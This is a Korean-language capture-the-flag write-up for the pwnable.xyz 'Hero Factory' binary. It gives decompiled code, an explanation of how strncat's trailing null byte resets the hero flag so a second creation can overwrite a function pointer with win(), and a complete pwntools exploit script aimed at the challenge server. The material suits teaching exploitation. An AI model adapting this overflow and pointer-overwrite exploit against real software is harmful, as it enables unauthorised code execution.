[pwnable.xyz]Hero Factory

PIE빼고 다 걸려있다.

[*] '/vagrant/ctfs/challenge'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

이 함수에서 취약점 터진다.

unsigned __int64 createHero()
{
  char *v0; // rax
  int v1; // eax
  int v3; // [rsp+4h] [rbp-7Ch]
  char buf; // [rsp+10h] [rbp-70h]
  int v5; // [rsp+70h] [rbp-10h]
  unsigned __int64 v6; // [rsp+78h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  memset(&buf, 0, 0x60uLL);
  v5 = 0;
  if ( hero )
  {
    puts("Br0, you already have a hero...");
    return __readfsqword(0x28u) ^ v6;
  }
  ++hero;
  puts("How long do you want your superhero's name to be? ");
  v3 = getInt();
  if ( v3 < 0 || v3 > 100 )
  {
    puts("Bad size!");
    return __readfsqword(0x28u) ^ v6;
  }
  printf("Great! Please enter your hero's name: ");
  read(0, &buf, v3);
  v0 = strchr(byte_602214, 0);
  strncat(v0, &buf, 100uLL);
  printSuperPowers();
  v1 = getInt();
  if ( v1 == 2 )
  {
    func_ptr = crossfit;
    myHero = 'tifssorc';                        // crossfit
    LOBYTE(word_602208) = 0;
    goto LABEL_19;
  }
  if ( v1 <= 2 )
  {
    if ( v1 != 1 )
      goto LABEL_17;
    func_ptr = hadouken;
    myHero = 'nekuodah';                        // hadouken
    LOBYTE(word_602208) = 0;
LABEL_19:
    puts("Superhero successfully created!");
    return __readfsqword(0x28u) ^ v6;
  }
  if ( v1 == 3 )
  {
    func_ptr = wrestle;
    myHero = 'niltserw';                        // wrestling
    word_602208 = 'g';
    goto LABEL_19;
  }
  if ( v1 == 4 )
  {
    func_ptr = floss;
    myHero = 'gnissolf';                        // flossing
    LOBYTE(word_602208) = 0;
    goto LABEL_19;
  }
LABEL_17:
  puts("not a valid power!");
  if ( hero )
    zeroHero();
  return __readfsqword(0x28u) ^ v6;
}

createHero() 함수에서 입력하고 strncat으로 byte_602214 bss영역에 저장하는데 뒤에 hero가 있는데 100바이트 꽉 채워주면 hero를 NULL 1byte 덮을 수 있어서 createHero() 함수를 한번 더 실행할 수 있다. 그리고 hero 뒤에 함수 포인터가 존재하는데 여기를 win()으로 덮어주면 된다. 2번째 createHero 할 때는 함수 포인터에 값이 안들어가게 1,2,3,4를 제외하고 아무거나 입력해주면 된다. 그리고 함수포인터 호출하면 된다. 그냥 디버깅하면서 값 들어가는 것만 잘보면 된다.

exploit.py

from pwn import *

context.log_level = 'debug'
e = ELF('./challenge')
# p = process('./challenge')
p = remote('svc.pwnable.xyz',30032)
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
win = e.symbols['win']

def create(length,name,job):
	sla('>','1')
	sla('? \n',str(length))
	sa(':',name)
	sla('>',str(job))

def use():
	sla('>','2')

def delete(yesorno):
	sla('>','3')
	sa('(y/n)',yesorno)

create(100,'A'*100,1)
create(30,'B'*7+p64(win)+'B'*15,5)
use()

p.interactive()